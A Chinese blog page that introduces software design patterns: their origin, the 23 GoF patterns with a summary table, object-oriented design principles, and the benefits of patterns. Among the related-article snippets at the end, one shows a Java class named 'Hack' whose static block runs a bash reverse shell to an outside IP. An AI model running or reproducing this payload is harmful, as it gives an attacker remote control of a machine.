软件设计模式系列之一——设计模式概述

news2024/12/23 18:23:09

1 设计模式的由来和概念

  设计模式最早出现在建筑行业,是一位建筑领域的大牛,针对不同建筑物的建造方法进行了总结,针对类型相似的建筑场景,将较好的解决方案进行比较,提取了其中共性的套路规范,形成一定的设计模式。软件领域借鉴了这种思想,设计模式由GOF(Gang Of Four)四人组提出,对于不同类型的软件开发场景,总结了23种设计模式。
  软件设计模式就是在进行软件开发的过程中,需要遵循的一些套路,这些套路经过了实践的检验,针对不同的设计场景,采用不同的设计模式,可以很好的解决相应的问题。
在这里插入图片描述
  一个设计模式,解决一种问题,对于每一种设计模式,都有它自己的适用场景,所以,如果需要全面了解一种设计模式,就要从三个方面入手。第一个就是问题场景,也就软件开发中需要解决的问题。第二个是解决方法,也就是设计模式的主要内容,采用什么样的解决方案。最后就是最终效果,通过使用设计模式,问题是否得到解决,解决的情况怎么样,是不是彻底解决,还是有一定的局限等等。通过问题-方案(模式)-结果,可以比较全面的描述一个设计模式。在软件设计中,随处可见不同的设计模式,掌握设计模式,对于软件开发工作帮助很大。

2 设计模式分类

  首先介绍一下23种设计模式,按照设计模式的目的来分,可以将23种模式分为建造型模式,结构型模式,行为型模式三类模式。
  建造型模式主要用于创建对象,有5种创建型的设计模式,分别是工厂方法(Factory Method)模式,抽象工厂(Abstract Factory)模式,建造者(Builder)模式、原型(Prototype)模式和单例(Singleton)模式。
  结构型模式主要处理类或者对象的组合,有7种结构型模式,分别是适配器(Adapter)模式、桥接(Bridge)模式、组合(Composite)模式、装饰(Decorator)模式、外观(Facade)模式、享元模式(Flyweight)和代理(Proxy)模式。
  行为型模式主要用来描述类或者对象怎么交互和怎样分配职责,有11种行为型模式,分别是职责链(Chain of Responsibility)模式、命令(Command)模式、解释器(Interpreter)模式、迭代器(Iterator)模式、中介者(Mediator)模式、备忘录(Memento)模式、观察者(Observer)模式、状态(State)模式、策略(Strategy)模式、模板方法(Template Method)模式和访问者(Visitor)模式。
  以下是一个表格,对各种模式进行简要的说明
  GOF的23种设计模式列表

设计模式名称模式简介
单例模式 (Singleton)确保一个类只有一个实例,并提供全局访问点。
工厂方法模式 (Factory Method)定义一个创建对象的接口,但将具体的创建延迟到子类中实现。
抽象工厂模式 (Abstract Factory)提供一个创建一组相关对象的接口,而不需要指定具体的类。
建造者模式 (Builder)将一个复杂对象的构建过程分解成多个步骤,以便于更灵活地创建对象。
原型模式 (Prototype)通过克隆现有对象来创建新对象,避免了直接使用构造函数创建对象的开销。
适配器模式 (Adapter)允许将一个接口转换成另一个客户端需要的接口,用于使不兼容的接口能够一起工作。
桥接模式 (Bridge)将抽象部分和实现部分分离,以便它们可以独立变化,提高系统的灵活性。
组合模式 (Composite)将对象组合成树形结构以表示部分-整体的层次结构,使客户端可以统一地处理单个对象和组合对象。
装饰者模式 (Decorator)动态地为对象添加额外的行为,是继承的一种替代方法,以实现更灵活的扩展。
外观模式 (Facade)为复杂系统提供一个简化的接口,以便客户端可以更容易地与系统交互。
享元模式 (Flyweight)共享大量细粒度对象以减少内存占用,适用于对象数量大而相似的场景。
代理模式 (Proxy)为其他对象提供一个代理以控制对这个对象的访问,可以实现延迟加载和权限控制等功能。
观察者模式 (Observer)定义对象之间的一对多依赖关系,当一个对象的状态发生变化时,其依赖对象会得到通知并自动更新。
备忘录模式 (Memento)在不暴露对象内部状态的情况下,捕获和恢复对象的内部状态。
状态模式 (State)允许对象在内部状态发生改变时改变其行为,使对象看起来好像修改了其类。
策略模式 (Strategy)定义一系列算法,将它们封装起来,并使它们可以互相替换,以便于根据需要动态地选择算法。
职责链模式 (Chain of Responsibility)将请求沿着处理者链传递,直到有一个处理者能够处理该请求为止。
命令模式 (Command)将请求封装成一个对象,从而使可以参数化客户端操作,队列或记录请求,并支持可撤销的操作。
访问者模式 (Visitor)将算法与其所操作的对象分离,使得可以在不修改对象结构的情况下添加新的操作。
中介者模式 (Mediator)将对象之间的通信集中在一个中介对象中,减少对象之间的直接耦合。
迭代器模式 (Iterator)提供一种方法来顺序访问聚合对象中的元素,而不需要暴露其内部表示。
模板方法模式 (Template Method)定义一个算法的框架,将一些步骤延迟到子类中实现,以允许子类改变算法的某些步骤而不改变其结构。
解释器模式 (Interpreter)定义语言的文法表示,并提供一个解释器来解释语言中的句子。

3 面向对象设计原则

  软件设计模式都依赖于一定的设计原则,也就是软件中面向对象的设计原则和规范,旨在帮助开发人员编写高质量、可维护和可扩展的软件。
在这里插入图片描述
  这些原则通常可以分为几个主要类别。
  单一职责原则 (Single Responsibility Principle, SRP):一个类应该只有一个引起变化的原因,即一个类应该只有一个职责。这有助于保持类的简洁性和可维护性。
  开放-封闭原则 (Open-Closed Principle, OCP):软件实体(类、模块、函数等)应该对扩展开放,对修改关闭。这意味着可以通过扩展现有代码来引入新功能,而无需修改现有代码。
  里氏替换原则 (Liskov Substitution Principle, LSP):子类应该能够替代其父类而不引起错误。这确保了继承关系的正确性和一致性。
  依赖倒置原则 (Dependency Inversion Principle, DIP):高级模块不应该依赖于低级模块,两者都应该依赖于抽象。抽象不应该依赖于细节,细节应该依赖于抽象。
  接口隔离原则 (Interface Segregation Principle, ISP):不应该强迫客户端依赖于它们不使用的接口,接口应该小而专注。
  迪米特法则 (Law of Demeter, LoD):一个对象应该对其他对象有最小的了解,只与其直接的朋友通信。这有助于减少耦合度。
  合成/聚合复用原则 (Composite/Aggregate Reuse Principle, CARP):优先使用合成/聚合关系(组合)而不是继承来实现代码重用。组合关系更灵活且不会引入继承的复杂性。

4 使用设计模式的好处

  在软件开发中遵循软件设计原则并自觉使用设计模式具有许多好处,这些好处有助于提高软件的质量、可维护性和可扩展性,同时降低开发过程中的风险和复杂性。
  设计原则和设计模式鼓励开发人员编写更清晰、可读性更高的代码,从而提高代码质量。设计模式帮助将复杂性分解为更小的、可管理的部分,减少了系统的整体复杂性。通过遵循原则和模式,代码更容易理解、调试和维护,减少了错误修复和功能添加的难度。设计模式鼓励代码重用,使得相似的问题可以使用相似的解决方案,提高了开发效率。
  通过将系统划分为模块和组件,遵循开放-封闭原则,可以更容易地扩展系统以支持新的功能或需求。使用设计原则和模式可以帮助开发人员避免一些常见的编程错误和设计缺陷。某些设计模式可以通过优化算法和数据结构来提高性能,使软件更加高效。
  总之,遵循软件设计原则和使用设计模式是开发高质量、可维护且可扩展的软件的有效方法。它们有助于减少开发过程中的混乱和错误,并提供了一种有组织的方法来解决常见的设计和架构问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/974525.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

喜讯 | 数智经营新典范,体验家XMPlus荣获「年度数智经营服务商」

7月27日,“助力运营知识与创新传播”的内容服务平台——运营研究社举行了「2023数字化运营生态大会」,会上正式揭晓了「2023数字化运营生态大奖」的四大榜单,体验家XMPlus荣获「年度数智经营服务商」!现场有800运营伙伴齐聚&#…

react中使用Modal.confirm数据不更新的问题解决

在使用Modal.confirm的时候今天发现了个疑惑的问题,为什么我明明从新set了数据而页面视图没有变化,查了一下官方文档找到了答案,解决了这个问题,特意在这里留下痕迹。 import { Button, Col, Form, Input, Modal, Radio, Row, Se…

java编译成class文件方法

比如我们有Hack.java文件 import java.lang.Runtime; import java.lang.Process; public class Hack { static { try { Runtime rt Runtime.getRuntime(); String[] commands {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>…

为什么Proteus串口无法正常显示

我以前就可以正常显示,但是最近一段时间,发现串口无法正常显示,试了很多办法都不行, 然后今天干好有点时间就刷了个机,然后居然就好了, 这就说明:Proteus不正常可能是病毒破坏了某个文件导致异…

如何一键把你的Unity脚本从GB2312编码格式改成UTF8编码格式

一、GB2312和UTF8简介 GB2312(全称:中国国家标准GB2312-80字符集)和UTF-8(全称:Unicode Transformation Format 8-bit)是两种常见的字符编码方案。它们分别用于对文本进行编码,以在计算机系统和…

无涯教程-JavaScript - DCOUNT函数

描述 DCOUNT函数返回包含与您指定条件匹配的列表或数据库的列中的数字的单元格的计数。 语法 DCOUNT (database, field, criteria)争论 Argument描述Required/Optionaldatabase 组成列表或数据库的单元格范围。 数据库是相关数据的列表,其中相关信息的行是记录,数据的列是…

各类注意力机制Attention——可变形注意力

目录 《Attention is all you need 》稀疏Attention残差Attention通道注意力空间注意力时间注意力可变形注意力 《Attention is all you need 》 稀疏Attention 残差Attention 通道注意力 空间注意力 时间注意力 实际上序列类任务也属于时间注意力,比如transformer…

如何在mac上安装多版本python并配置PATH

摘要 mac 默认安装的python是 python3,但是如果我们需要其他python版本时,该怎么办呢? 例如:需要python2 版本,如果使用homebrew安装会提示没有python2。同时使用python --version 会发现commond not found。 所以本…

事务的优化

例子: 举例:假设我们有一个文件上传的uploadFile方法,在这个方法中我们会先执行上传一个文件到分布式文件系统中的方法addMediaFilesToMinIO( ),上传成功后执行文件资源数据入库的addMediaFilesToDb( ),那么这个时候事务应该加在哪…

2023年7月京东彩妆市场品牌销售排行榜(京东数据挖掘)

鲸参谋监测的京东平台7月份彩妆市场销售数据已出炉! 鲸参谋数据显示,7月份彩妆市场整体呈现下滑趋势。从大盘数据可知,京东7月的销量将近350万,环比下滑约38%,同比下滑约22%;销售额为5.1亿,环比…

2023开学礼《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书南宁师范大学图书馆

2023开学礼《乡村振兴战略下传统村落文化旅游设计》许少辉八一新书南宁师范大学图书馆

深度学习-4-二维目标检测-YOLOv5理论模型详解

YOLOv5理论模型详解 1.Yolov5四种网络模型 Yolov5官方代码中,给出的目标检测网络中一共有4个版本,分别是Yolov5s、Yolov5m、Yolov5l、Yolov5x四个模型。 YOLOv5系列的四个模型(YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x)在参数量和性…

什么是ETLT?他是新一代数据集成平台?

什么是ETLT? 在现代数据处理和分析的时代,数据集成是一个至关重要的环节。数据集成涉及将来自各种来源的数据合并、清洗、转换,并将其加载到数据仓库或分析平台以供进一步的处理和分析。传统上,数据集成有两种主要方法&#xff0…

港陆证券:股票中线投资?

股票是一种充溢变数的出资方法,长时刻出资与短期交易带来的危险与收益是不一样的,中线出资则是在两者之间的一种折中计划,既能取得必定的收益,又能削减必定的危险,而且比起短期操作,中线出资愈加符合快节奏…

线性表之-单向链表(无头)

目录 什么是单向链表 顺序表和链表的区别和联系 顺序表: 链表: 链表表示(单项)和实现 1.1 链表的概念及结构 1.2单链表(无头)的实现 所用文件 将有以下功能: 链表定义 创建新链表元素 尾插 头插 尾删 头删 查找-给一个节点的…

linux 进程隔离Namespace 学习

一、linux namespace 介绍 1.1、概念 Linux Namespace是Linux内核提供的一种机制,它用于隔离不同进程的资源视图,使得每个进程都拥有独立的资源空间,从而实现进程之间的隔离和资源管理。 Linux Namespace的设计目标是为了解决多个进程之间…

从零编写STM32H7的MDK SPI FLASH下载算法

从零编写STM32H7的MDK SPI FLASH下载算法 - 知乎 Part1前言 当我们要下载编译好的镜像到Flash时,首先要做的一步就是选择合适的Flash下载算法,而这个算法本身就是一个FLM文件: 代码既可以下载到内部flash,也可以下载到外部flash&…

pyinstaller打包exe运行闪退

这里写自定义目录标题 前言问题描述解决过程 前言 闪退原因可能有很多,这里记录下我遇到的问题,简单来说是dll调用错误导致的闪退,因为我的python用的是32位的,但是pyinstaller却是64位的,属于用conda的时候没注意。 …

【C#】C#调用进程打开一个exe程序

文章目录 一、过程二、效果总结 一、过程 新建WinForm程序,并写入代码,明确要调用的程序的绝对路径(或相对路径)下的exe文件。 调用代码: 这里我调用的另一个程序的路径是: F:\WindowsFormsApplication2…

Python自动化写作神器:告别语法拼写错误的秘诀

概要 写作是一种常见的沟通方式,无论是在学习、工作还是生活中,我们都需要用文字来表达自己的想法和观点。但是,写作并不是一件容易的事情,尤其是当我们使用非母语时,很容易出现语法和拼写错误,影响了文章…